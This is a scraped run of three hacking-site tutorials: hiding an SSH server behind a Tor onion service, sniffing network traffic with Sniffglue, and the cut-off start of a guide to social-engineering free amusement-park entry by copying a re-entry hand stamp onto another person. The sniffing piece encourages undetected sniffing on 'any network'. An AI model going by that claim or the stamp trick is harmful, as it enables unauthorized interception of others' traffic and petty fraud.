Get:2 https://deb.torproject.org/torproject.org stretch InRelease [4,965 B]
Get:4 https://deb.torproject.org/torproject.org stretch/main Sources [1,169 B]
Get:5 https://deb.torproject.org/torproject.org stretch/main amd64 Packages [2,400 B]
Fetched 8,534 B in 8s (1,091 B/s)
Reading package lists... DoneInstall Tor using the belowapt-getcommand, and you're done.~$ apt-get install tor deb.torproject.org-keyring torsocks
Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
mixmaster torbrowser-launcher socat tor-arm apparmor-utils obfs4proxy
The following NEW packages will be installed:
deb.torproject.org-keyring
The following packages will be upgraded:
torBoth the client and the VPS running the SSH server should have Tor installed. Be sure to follow the above steps on both systems.Step 2: Create an Onion Service on the ServerThe Tor process will likely get executed immediately after installing it so, as root (sudo), stop the process. This can be done using thesystemctlcommand.~$ sudo systemctl stop torThen, use a text editor to open the /etc/tor/torrc file. This is the configuration file used by Tor to modify its behavior and create onion services.~$ sudo nano /etc/tor/torrcThere will be a ton of information in this file. Most of it isn't relevant to this article. Scroll down a bit to the "This section is just for location-hidden services" section. In Debian and Kali Linux, it appears as shown below.############### This section is just for location-hidden services ###
## Once you have configured a hidden service, you can look at the
## contents of the file ".../hidden_service/hostname" for the address
## to tell people.
##
## HiddenServicePort x y:z says to redirect requests on port x to the
## address y:z.
#HiddenServiceDir /var/lib/tor/hidden_service/
#HiddenServicePort 80 127.0.0.1:80
#HiddenServiceDir /var/lib/tor/other_hidden_service/
#HiddenServicePort 80 127.0.0.1:80
#HiddenServicePort 22 127.0.0.1:22Uncomment (#) one "HiddenServiceDir" and one "HiddenServicePort" line, as such:############### This section is just for location-hidden services ###
## Once you have configured a hidden service, you can look at the
## contents of the file ".../hidden_service/hostname" for the address
## to tell people.
##
## HiddenServicePort x y:z says to redirect requests on port x to the
## address y:z.
#HiddenServiceDir /var/lib/tor/hidden_service/
#HiddenServicePort 80 127.0.0.1:80
HiddenServiceDir /var/lib/tor/other_hidden_service/
#HiddenServicePort 80 127.0.0.1:80
HiddenServicePort 22 127.0.0.1:22Save and exit the text editor. Then, restart tor using the below command.Don't Miss:Vim, the Unix Text Editor Every Hacker Should Be Familiar With~$ sudo systemctl restart torThe "hostname" file in the /var/lib/tor/other_hidden_service/ directory will hold the new onion address. Usecatto read the file. Take note of this onion address, it will be required in the next step.~$ cat /var/lib/tor/other_hidden_service/hostname
pkgsxmtmdrlxp7l3gfqysi3ceaochd4vnv7eax2fuyridmcz7ucvluad.onionStep 3: Verify the Onion Service Is Working (Optional)Before proceeding, it's good to make sure the SSH service is reachable using the new onion address. This can quickly be verified using thetorsocks, a shell wrapper used to transparently Tor-ify command line applications likecurl,wget, ornmap.Don't Miss:The Top 80+ Websites Available in the Tor NetworkThe following torsocks and curl command will query the new onion service. Be sure to append the SSH port number (:22), otherwise, curl will query port 80 by default and fail. A successful query will return the SSH version banner, as shown below.~$ torsocks curl http://pkgsxmtmdrlxp7l3gfqysi3ceaochd4vnv7eax2fuyridmcz7ucvluad.onion:22
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u5Step 4: Make the SSH Service PrivateBy default, most SSH services are listening on every IPv4 interface. While not the case for all Linux distributions, this is true for popular ones like Ubuntu and Debian. This is usually represented as "0.0.0.0" in the /etc/ssh/sshd_config file, where SSH stores all of the service configurations.SSH services configured this way makes it possible to access the server from any computer in the world. Which is convenient for website administrators who need to make changes to their website from different devices and networks.First, let's have a look at SSH service running in the background. Usess, a tool for investigating sockets, to show processes (-p) listening (-l) for TCP (-t) connections.~$ ss -plt
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:ssh *:* users:(("sshd",pid=1148,fd=3))If the server has applications running in the background (e.g., Apache, Nginx, IRC software, etc.), many services may appear here. Let's focus on theLocal Address:Portcolumn which reads*:ssh.Wildcards indicatethe SSH service is listening on every available IPv4 and IPv6 interface.Shodan is able to locate this SSH service because it's available (listening) in this state. To change this, open the /etc/ssh/sshd_config file and find the "ListenAddress" line(s).~$ sudo nano /etc/ssh/sshd_confnigIn Debian, it appears as shown below. They will probably be commented out, which is normal. When every ListenAddress is commented out, SSH falls back to its default configuration to listen on every interface.#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::Change the ListenAddress line to "127.0.0.1" and uncomment it as such:#Port 22
#AddressFamily any
ListenAddress 127.0.0.1
#ListenAddress ::Then, restart the SSH service.~$ sudo systemctl restart sshImmediately after executing thesystemctlcommand, the current SSH connection may close. The SSH service is no longer available on any IPv4 or IPv6 address so it's normal for the connection to break.Step 5: Connect to the SSH Server Using TorFortunately, the onion service was set up on the server so the SSH service can still be reached. Now, from the client (i.e., laptop or remote computer), use the belowtorsockscommand to connect to SSH service.~$ torsocks ssh -p 22 username@pkgsxmtmdrlxp7l3gfqysi3ceaochd4vnv7eax2fuyridmcz7ucvluad.onion
The authenticity of host 'pkgsxmtmdrlxp7l3gfqysi3ceaochd4vnv7eax2fuyridmcz7ucvluad.onion (127.42.42.0)' can't be established.
ECDSA key fingerprint is SHA256:f22LX7WJfLGOiKxP+0+cA/l5Q1GsJLFA30ZyMyGLMl4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'pkgsxmtmdrlxp7l3gfqysi3ceaochd4vnv7eax2fuyridmcz7ucvluad.onion' (ECDSA) to the list of known hosts.
username@pkgsxmtmdrlxp7l3gfqysi3ceaochd4vnv7eax2fuyridmcz7ucvluad.onion's password:Step 6: Make Sure the SSH Service Isn't Visible to ShodanAfter logging into the server using the onion address, use thesscommand again to view listening services. It should no longer report SSH listening on every available interface, only 127.0.0.1.~$ ss -plt
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 127.0.0.1:ssh *:* users:(("sshd",pid=1162,fd=3))We can further verify this by executing a simplenmapversion (-sV) scan on the server.~$ nmap -p 22 -sV <vps ip here>
PORT STATE SERVICE VERSION
22/tcp closed sshThe SSH service may still appear on Shodan for days or even weeks. Shodan isn't great about purging old service banners and information. But that doesn't mean the SSH service is still accessible to attackers.ConclusionBy far the most significant caveat to using SSH with onion services is the slowness. Responses in the terminal can be painfully slow for someone who isn't used to onion services and Tor.Configuring Tor to work with SSH services in this way hides it from Shodan but doesn't make it entirely impossible to locate by hackers. It can still be reached using Tor, which significantly minimizes its overall exposure but doesn't make it altogether impervious to attacks.There's a security feature in Tor calledHiddenServiceAuthorizeClient. This feature allows users to essentially password-protect the onion service with anauthentication cookie. At the time of this writing, HiddenServiceAuthorizeClient isn't supported by thenewer "next-gen" onion services. It would be possible to generate older onion services, but it seems like bad security practice to use a soon to be a deprecated feature of Tor. In the future, it will be possible to use HiddenServiceAuthorizeClient with next-gen onions to make them completely inaccessible to anyone but you. For now, changing the SSH port number to something non-standard like 62359 or 41171 will help keep it off the radar of script-kiddies on the darknet mass-scanning on port 22.Don't Miss:Hide Sensitive Files in Encrypted Containers on Your Linux SystemFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by distortion/Null ByteRelatedHacking Windows 10:How to Turn Compromised Windows PCs into Web ProxiesHow To:Hack TOR Hidden ServicesHack Like a Pro:How to Find Vulnerable Targets Using ShodanβThe World's Most Dangerous Search EngineHow To:Run Your Favorite Graphical X Applications Over SSHHow To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHow To:Detect Misconfigurations in 'Anonymous' Dark Web Sites with OnionScanHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Hacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersSSH the World:Mac, Linux, Windows, iDevices and Android.How To:Create a Native SSH Server on Your Windows 10 SystemHow To:Use Private Encrypted Messaging Over TorHow To:Configure a Reverse SSH Shell (Raspberry Pi Hacking Box)How To:Use the Cowrie SSH Honeypot to Catch Attackers on Your NetworkHow To:Find Vulnerable Webcams Across the Globe Using ShodanHack Like a Pro:How to Find Any Router's Web Interface Using ShodanNews:Use ProtonMail More Securely Through the Tor NetworkNews:Reality of VPNs, Proxies, and TorHow To:Haunt a Computer with SSHHow To:The Top 80+ Websites Available in the Tor NetworkHow To:Enable the New Native SSH Client on Windows 10News:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkHow To:Use Tortunnel to Quickly Encrypt Internet TrafficHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Become Anonymous on the Internet Using TorHow To:Push and Pull Remote Files Securely Over SSH with PipesHow To:Create an SSH Tunnel Server and Client in LinuxNews:Anonymity Networks. Don't use one, use all of them!How To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreTor vs. I2P:The Great Onion DebateHow To:Safely Log In to Your SSH Account Without a PasswordNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingHow To:Conceal a USB Flash Drive in Everyday ItemsNews:Finding the Exploits Out in the World (For Beginner Hackers)Anonymous Browsing in a Click:Add a Tor Toggle Button to Chrome |
How to Securely Sniff Wi-Fi Packets with Sniffglue Β« Null Byte :: WonderHowTo | Sniffing packets over a network is an easy way for hackers to gather information on a target without needing to do much work. But doing so can be risky if sniffing packets on an untrusted network because a payload within the packets being captured could be executed on your system. To prevent that, Sniffglue sandboxes packet sniffing to provide an extra layer of security.Passive sniffing is stealthy and effective, making it the obvious first step for hackers and pentesters putting together information about a target network. But if you've ever runWiresharkas root before, you might have seen a warning against running it as root. That's because doing so can put your computer at risk, and running a program as root and then having it being hijacked by a zero-day vulnerability is a real risk when capturing random radio traffic.It's very unsecure running Wireshark this way as every possible Wireshark exploit will be running with the administrator account being able to compromise the whole system.βWiresharkThat means that if an exploit for Wireshark is found or known to some already, that exploit will be able to run as root on your computer if you run Wireshark as root. Because we deal with so many unknowns when receiving radio data, it's essential to take steps to minimize the damage that could occur.The proper way to avoid radio zero-days is to set up a user that can use the network adapter but can't execute as root. However, it can be confusing for someone setting things up their first time.Don't Miss:Detect & Classify Wi-Fi Jamming Packets with the NodeMCUFor anyone interested in packet sniffing with a program that has security features against these risks built-in, Sniffglue is it. It's a passive recon tool that lets you sniff traffic over a network without the risk of being detected. Unlike anARP-scanor other active scanning tools, Sniffglue passively listens for traffic without doing anything to generate the traffic itself, as doing so would reveal its presence.One of the keys to this is sandboxing, which Sniffglue builds in by default. The application itself is prevented from doing anything it doesn't need to do, avoiding an exploit from getting the same kind of traction. Written in Rust to be optimized for using all available CPU resources for processing packets, the additional attention to security makes Sniffglue worth trying out.What You'll NeedTo use Sniffglue, you'll need a computer withRustinstalled, since the program is written in the Rust language. I recommend using Kali Linux, Ubuntu, or another Debian or Arch Linux system. I tried running this on macOS and found it pretty difficult. Chances are, you already have Rust installed because it comes preinstalled on some systems. For instance, we already had it on a fresh Kali system.Before going further, installlibseccomp-devandlibpcap-dev, which is for the secure computing module and the pcap parsing, respectively.~$ sudo apt-get install libseccomp-dev libpcap-dev
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
libseccomp2
The following packages will be upgraded:
libseccomp-dev libseccomp2
2 upgraded, 0 newly installed, 0 to remove and 1760 not upgraded.
Need to get 0 B/116 kB of archives.
After this operation, 68.6 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
Reading changelogs... Done
(Reading database ... 411760 files and directories currently installed.)
Preparing to unpack .../libseccomp-dev_2.4.2-2_amd64.deb ...
Unpacking libseccomp-dev:amd64 (2.4.2-2) over (2.4.1-2) ...
Preparing to unpack .../libseccomp2_2.4.2-2_amd64.deb ...
Unpacking libseccomp2:amd64 (2.4.2-2) over (2.4.1-2) ...
Setting up libseccomp2:amd64 (2.4.2-2) ...
Setting up libseccomp-dev:amd64 (2.4.2-2) ...
Processing triggers for man-db (2.8.5-2) ...
Processing triggers for libc-bin (2.28-8) ...
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages will be upgraded:
libpcap-dev
1 upgraded, 0 newly installed, 0 to remove and 1759 not upgraded.
Need to get 0 B/29.0 kB of archives.
After this operation, 2,048 B of additional disk space will be used.
Reading changelogs... Done
(Reading database ... 411761 files and directories currently installed.)
Preparing to unpack .../libpcap-dev_1.9.1-2_amd64.deb ...
Unpacking libpcap-dev:amd64 (1.9.1-2) over (1.9.0-2) ...
Setting up libpcap-dev:amd64 (1.9.1-2) ...Step 1: Download & Install SniffglueDownloading and running the Sniffglue program is done using Cargo, the package manager for Rust, which is similar to Pip for Python for anyone familiar with that. Afterinstalling Rust, if you didn't already have it, Cargo should be installed by default.After updating your system, make sure you have Cargo installed by runningapt install cargo. A lot of different packages should compile. Then, run thecargo install sniffgluecommand to install Sniffglue via the Cargo package manager or to see if Snifglue is already installed, which is should be after installing Cargo.~$ apt update
Hit:1 http://archive.linux.duke.edu/kalilinux/kali kali-rolling InRelease
Reading package lists... Done
Building dependency tree
Reading state information... Done
1759 packages can be upgraded. Run 'apt list --upgradable' to see them.
~$ apt install cargo
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following package was automatically installed and is no longer required:
libgit2-27
Use 'apt autoremove' to remove it.
The following additional packages will be installed:
libc-bin libc-dev-bin libc-l10n libc6 libc6-dbg libc6-dev libc6-i386
libgit2-28 locales locales-all
Suggested packages:
cargo-doc glibc-doc
...
Setting up cargo (0.37.0-3+b1) ...
Setting up libc6-i386 (2.29-3) ...
Setting up libc-dev-bin (2.29-3) ...
Setting up libc6-dev:amd64 (2.29-3) ...
Processing triggers for man-db (2.8.5-2) ...
Processing triggers for libc-bin (2.29-3) ...
~$ cargo install sniffglue
Updating crates.io index
error: binary `sniffglue` already exists in destination as part of `sniffglue v0.9.0`
Add --force to overwriteStep 2: Run Cargo BinaryNow, we can either spend the time adding Sniffglue to our path or just navigate to the directory Cargo installs Sniffglue into to run it directly. Let's go directly to where the binary is (cd ~/.cargo/bin) and run it withsudo ./sniffglue -h. We should see the output for the help file, signaling that Sniffglue is installed and ready to run.~$ cd ~/.cargo/bin
~/.cargo/bin$ sudo ./sniffglue -h
sniffglue 0.9.0
kpcyrd <[email protected]>
Secure multithreaded packet sniffer
USAGE:
sniffglue [FLAGS] [OPTIONS] [device]
FLAGS:
-d, --detailed Detailed output
-h, --help Prints help information
-j, --json Json output (unstable)
-p, --promisc Set device to promisc
-r, --read Open device as pcap file
-V, --version Prints version information
-v, --verbose Show more packets (maximum: 4)
OPTIONS:
-n, --cpus <cpus> Number of cores
ARGS:
<device> Device for sniffingStep 3: Sniff on a Network InterfaceNow, let's sniff on a network interface. First, we'll find the name of our network cards by runningip a | grep MULTICAST.~/.cargo/bin$ ip a | grep MULTICAST
2: enp2s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
3: wlp1s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000Then, run Sniffglue on the interface you want to start sniffing packets on.~/.cargo/bin$ sudo ./sniffglue enp2s0
Listening on device: "enp2s0"
50:7b:9d:7a:c8:8a -> 40:70:09:85:d1:a7, udp 192.168.0.37:57251 -> 209.18.47.62:53 dns req, (A, "null-byte.wonderhowto.com")
50:7b:9d:7a:c8:8a -> 40:70:09:85:d1:a7, udp 192.168.0.37:50381 -> 209.18.47.62:53 dns req, (AAAA, "null-byte.wonderhowto.com")
40:70:09:85:d1:a7 -> 50:7b:9d:7a:c8:8a, udp 209.18.47.62:53 -> 192.168.0.37:57251 dns resp, ("null-byte.wonderhowto.com", A(104.193.19.59))
40:70:09:85:d1:a7 -> 50:7b:9d:7a:c8:8a, udp 209.18.47.62:53 -> 192.168.0.37:50381 dns resp,Here, we are sniffing our Ethernet card, enp2s0, and we can see DNS requests to Null Byte. If we were plugged into a LAN tap or Hak5 Packet Squirrel, we could easily read any unencrypted traffic passing through a cable we have access to.Step 4: Sniff Wi-Fi in Promiscuous ModeNext, we'll turn our attention to our wireless card. First, we can get the name of our card by runningip aagain and filtering the output.~/.cargo/bin$ ip a | grep MULTICAST
2: enp2s0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN group default qlen 1000
3: wlp1s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000Then, on our system, we'll run Sniffglue with the-dargument to show more detail from each request, and the-pargument to put our card into promiscuous mode. In the example below, I navigated to "badsite.com" after starting to sniff the wireless traffic on card wlp1s0.~/.cargo/bin$ sudo ./sniffglue wlp1s0 -d -p
Listening on device: "wlp1s0"
eth: EthernetFrame { source_mac: MacAddress([48, 82, 203, 107, 118, 95]), dest_mac: MacAddress([64, 112, 9, 133, 209, 167]), ethertype: IPv4 }
ipv4: IPv4Header { version: 4, ihl: 20, tos: 0, length: 73, id: 44379, flags: 2, fragment_offset: 0, ttl: 64, protocol: UDP, chksum: 52279, source_addr: 192.168.0.24, dest_addr: 209.18.47.62 }
udp: UdpHeader { source_port: 43195, dest_port: 53, length: 53, checksum: 13395 }
dns: Request(Request { questions: [(A, "googleads.g.doubleclick.net")] })
eth: EthernetFrame { source_mac: MacAddress([64, 112, 9, 133, 209, 167]), dest_mac: MacAddress([48, 82, 203, 107, 118, 95]), ethertype: IPv4 }
ipv4: IPv4Header { version: 4, ihl: 20, tos: 0, length: 114, id: 51085, flags: 2, fragment_offset: 0, ttl: 57, protocol: UDP, chksum: 47324, source_addr: 209.18.47.62, dest_addr: 192.168.0.24 }
udp: UdpHeader { source_port: 53, dest_port: 43195, length: 94, checksum: 33904 }
dns: Response(Response { answers: [("googleads.g.doubleclick.net", CNAME("pagead46.l.doubleclick.net")), ("pagead46.l.doubleclick.net", A(172.217.14.66))] })
eth: EthernetFrame { source_mac: MacAddress([48, 82, 203, 107, 118, 95]), dest_mac: MacAddress([64, 112, 9, 133, 209, 167]), ethertype: IPv4 }
ipv4: IPv4Header { version: 4, ihl: 20, tos: 0, length: 60, id: 45283, flags: 2, fragment_offset: 0, ttl: 64, protocol: UDP, chksum: 51388, source_addr: 192.168.0.24, dest_addr: 209.18.47.62 }
udp: UdpHeader { source_port: 33734, dest_port: 53, length: 40, checksum: 35194 }
dns: Request(Request { questions: [(AAAA, "www.google.com")] })
eth: EthernetFrame { source_mac: MacAddress([64, 112, 9, 133, 209, 167]), dest_mac: MacAddress([48, 82, 203, 107, 118, 95]), ethertype: IPv4 }
ipv4: IPv4Header { version: 4, ihl: 20, tos: 0, length: 88, id: 41776, flags: 2, fragment_offset: 0, ttl: 57, protocol: UDP, chksum: 56659, source_addr: 209.18.47.62, dest_addr: 192.168.0.24 }
udp: UdpHeader { source_port: 53, dest_port: 33734, length: 68, checksum: 49539 }
dns: Response(Response { answers: [("www.google.com", AAAA(2607:f8b0:4007:80c::2004))] })
eth: EthernetFrame { source_mac: MacAddress([48, 82, 203, 107, 118, 95]), dest_mac: MacAddress([64, 112, 9, 133, 209, 167]), ethertype: IPv4 }
ipv4: IPv4Header { version: 4, ihl: 20, tos: 0, length: 569, id: 20264, flags: 2, fragment_offset: 0, ttl: 64, protocol: TCP, chksum: 30553, source_addr: 192.168.0.24, dest_addr: 172.217.4.164 }
tcp: TcpHeader { source_port: 46596, dest_port: 443, sequence_no: 766031290, ack_no: 3289351807, data_offset: 8, reserved: 0, flag_urg: false, flag_ack: true, flag_psh: true, flag_rst: false, flag_syn: false, flag_fin: false, window: 229, checksum: 42372, urgent_pointer: 0, options: None }
tls: ClientHello { hostname: Some("www.google.com") }
eth: EthernetFrame { source_mac: MacAddress([48, 82, 203, 107, 118, 95]), dest_mac: MacAddress([64, 112, 9, 133, 209, 167]), ethertype: IPv4 }
ipv4: IPv4Header { version: 4, ihl: 20, tos: 0, length: 57, id: 45378, flags: 2, fragment_offset: 0, ttl: 64, protocol: UDP, chksum: 51296, source_addr: 192.168.0.24, dest_addr: 209.18.47.62 }
udp: UdpHeader { source_port: 48260, dest_port: 53, length: 37, checksum: 40572 }
dns: Request(Request { questions: [(A, "badsite.com")] })
eth: EthernetFrame { source_mac: MacAddress([64, 112, 9, 133, 209, 167]), dest_mac: MacAddress([48, 82, 203, 107, 118, 95]), ethertype: IPv4 }
ipv4: IPv4Header { version: 4, ihl: 20, tos: 0, length: 89, id: 8256, flags: 2, fragment_offset: 0, ttl: 57, protocol: UDP, chksum: 24643, source_addr: 209.18.47.62, dest_addr: 192.168.0.24 }
udp: UdpHeader { source_port: 53, dest_port: 48260, length: 69, checksum: 26142 }
dns: Response(Response { answers: [("badsite.com", A(104.200.23.95)), ("badsite.com", A(104.200.22.130))] })
eth: EthernetFrame { source_mac: MacAddress([48, 82, 203, 107, 118, 95]), dest_mac: MacAddress([64, 112, 9, 133, 209, 167]), ethertype: IPv4 }
ipv4: IPv4Header { version: 4, ihl: 20, tos: 0, length: 57, id: 45384, flags: 2, fragment_offset: 0, ttl: 64, protocol: UDP, chksum: 51290, source_addr: 192.168.0.24, dest_addr: 209.18.47.62 }
udp: UdpHeader { source_port: 57772, dest_port: 53, length: 37, checksum: 61497 }
dns: Request(Request { questions: [(AAAA, "badsite.com")] })
eth: EthernetFrame { source_mac: MacAddress([64, 112, 9, 133, 209, 167]), dest_mac: MacAddress([48, 82, 203, 107, 118, 95]), ethertype: IPv4 }
ipv4: IPv4Header { version: 4, ihl: 20, tos: 0, length: 125, id: 46568, flags: 2, fragment_offset: 0, ttl: 57, protocol: UDP, chksum: 51830, source_addr: 209.18.47.62, dest_addr: 192.168.0.24 }
udp: UdpHeader { source_port: 53, dest_port: 57772, length: 105, checksum: 44123 }
dns: Response(Response { answers: [] })
eth: EthernetFrame { source_mac: MacAddress([48, 82, 203, 107, 118, 95]), dest_mac: MacAddress([64, 112, 9, 133, 209, 167]), ethertype: IPv4 }
ipv4: IPv4Header { version: 4, ihl: 20, tos: 0, length: 371, id: 25136, flags: 2, fragment_offset: 0, ttl: 64, protocol: TCP, chksum: 38509, source_addr: 192.168.0.24, dest_addr: 104.200.23.95 }
tcp: TcpHeader { source_port: 43706, dest_port: 80, sequence_no: 3479674440, ack_no: 2159468974, data_offset: 8, reserved: 0, flag_urg: false, flag_ack: true, flag_psh: true, flag_rst: false, flag_syn: false, flag_fin: false, window: 229, checksum: 33053, urgent_pointer: 0, options: None }
http: "GET http://badsite.com/ HTTP/1.1" Request { method: "GET", uri: "/", version: "1.1", host: Some("badsite.com"), agent: Some("Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0"), referer: None, auth: None, cookies: None }
eth: EthernetFrame { source_mac: MacAddress([64, 112, 9, 133, 209, 167]), dest_mac: MacAddress([48, 82, 203, 107, 118, 95]), ethertype: IPv4 }
ipv4: IPv4Header { version: 4, ihl: 20, tos: 0, length: 1040, id: 62478, flags: 2, fragment_offset: 0, ttl: 53, protocol: TCP, chksum: 3314, source_addr: 104.200.23.95, dest_addr: 192.168.0.24 }
tcp: TcpHeader { source_port: 80, dest_port: 43706, sequence_no: 2159468974, ack_no: 3479674759, data_offset: 8, reserved: 0, flag_urg: false, flag_ack: true, flag_psh: false, flag_rst: false, flag_syn: false, flag_fin: true, window: 235, checksum: 55524, urgent_pointer: 0, options: None }
remaining: "HTTP/1.1 302 Found\r\nServer: openresty/1.13.6.1\r\nDate: Mon, 24 Jun 2019 11:52:24 GMT\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 0\r\nConnection: close\r\nLocation: http://www6.badsite.com/?s_token=1561377144.1272041333&kw=Best+Personal+Credit+Cards&term=Best%20Personal%20Credit%20Cards&term=Fast%20Online%20College%20Degrees&term=Job%20Posting%20Boards&term=Movie%20Media%20Server&backfill=0&tdfs=1\r\nX-Mtm-Path: 0\r\nVary: Accept-Language\r\nContent-Language: en\r\nSet-Cookie: mtm_delivered=WyJiYWRzaXRlLmNvbSIsImh0dHA6Ly93d3c2LmJhZHNpdGUuY29tLz9zX3Rva2VuPTE1NjEzNzcxNDQuMTI3MjA0MTMzMyZrdz1CZXN0K1BlcnNvbmFsK0NyZWRpdCtDYXJkcyZ0ZXJtPUJlc3QgUGVyc29uYWwgQ3JlZGl0IENhcmRzJnRlcm09RmFzdCBPbmxpbmUgQ29sbGVnZSBEZWdyZWVzJnRlcm09Sm9iIFBvc3RpbmcgQm9hcmRzJnRlcm09TW92aWUgTWVkaWEgU2VydmVyJmJhY2tmaWxsPTAmdGRmcz0xIiwxLCIyMDE5LTA2LTI0IDExOjUyOjI0IiwiMTU2MTM3NzE0NC4xMjcyMDQxMzMzIiw3NCxudWxsLG51bGxd:1hfNWK:v7-Oji2CCHg8ECfi3-6CthImT5w; expires=Mon, 24-Jun-2019 12:52:24 GMT; Max-Age=3600; Path=/\r\n\r\n"In just a few seconds, I sniffed traffic telling me the operating system of the computer making the request, the website requested, and even the entire website sent-in response encoded in HTML. I can even see the default search engine being used to make the request.Sniffglue Snoops on Network Traffic with Less RiskThanks to the sandboxing features of Sniffglue, you can learn about network activity without worrying about an exploit running as root on your system. That makes it a valuable tool for passive reconnaissance that can be run over SSH and only highlights useful information. Because Snifflglue leaves no trace of running on the network, unlike more active scanners, you can feel free to run this on any network without fear of being detected.I hope you enjoyed this guide to securely sniffing packets! If you have any questions about this tutorial on packet sniffing or you have a comment, ask below or feel free to reach me on [email protected]'t Miss:Create Packets from Scratch with Scapy for Scanning & DoSingWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via Kody/Null ByteRelatedMac for Hackers:How to Set Up a MacOS System for Wi-Fi Packet CapturingHow To:Detect Script-Kiddie Wi-Fi Jamming with WiresharkHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Keep Firesheep from hacking into your Facebook accountHow To:Inconspicuously Sniff Wi-Fi Data Packets Using an ESP8266How To:Hunt Down Wi-Fi Devices with a Directional AntennaHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Use Ettercap to Intercept Passwords with ARP SpoofingHow To:Crack Wi-Fi PasswordsβFor Beginners!How To:Spy on Network Relationships with Airgraph-NgHow To:Build an FTP Password Sniffer with Scapy and PythonHow To:Intercept Images from a Security Camera Using WiresharkHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Pick an Antenna for Wi-Fi HackingHow To:Detect & Classify Wi-Fi Jamming Packets with the NodeMCUHow To:Spy on Traffic from a Smartphone with WiresharkHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Detect When a Device Is Nearby with the ESP8266 Friend DetectorHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCGuide:Wi-Fi Cards and ChipsetsHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Hack Wi-Fi Networks with BettercapHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow To:Build a DNS Packet Sniffer with Scapy and PythonHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow To:Use MDK3 for Advanced Wi-Fi JammingHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:Get Free Wi-Fi from Hotels & MoreHow To:Use Wireshark to Steal Your Own Local PasswordsHow To:How Hackers Steal Your Internet & How to Defend Against ItNews:PSP2 (Next Generation Portable) or NGP |
How to Social Engineer Your Way Into an Amusement Park for Free Β« Null Byte :: WonderHowTo | When it comes to social engineering,Null Byteis here toshow you how it's done. Social engineering is the key fundamental to unlocking tons of possibilities and opportunities in your everyday life. So, what issocial engineering? Social engineering can be called many things. It's taking nothing and turning it into something. It's taking the bad and making it good. Above everything else, it's the art of manipulating the world and people around youβcoercing that salesman into giving you a lower price, and talking your way out of a fine for being too loud playing Skyrim while your neighbors were were sleeping. It's a direct attack on the way people think, feel and react to the humans around them.Through playing on humanity's biggest flawβthe will to trust our fellow peopleβwe can conquer some of life's biggest challenges. Today,Null Byteis going to hack amusement park secure entry systems. Normally, a person walks up to a gate, pays a teller for a ticket, and then the person gets in. When you get out and wish to return, you must get your hand stamped to be able to get back inside.PrerequisitesStrong willA determined, yet friendly demeanorGood eye contactWe have to somehow play on the way this method of validation is implemented. Here's what we need to do.The ScenarioFirst off, we need to pick what element of their system that we will try to exploit. The stamp validation seems best, because with a stamp, we can actually get a second person in by rubbing the wet stamp on another person's hand. Since the ink is usually sloppy, they just want to see the colors on your hand match up with their ink color of the dayβwhich brings us to our first exploit.Exploit the Stamp ValidationShow up to the park a few hours after opening time.Usually, amusement parks keep benches near the entry gates. Sit at them.Wait for people to start coming out of the park. Try to get a good look at the ink color on 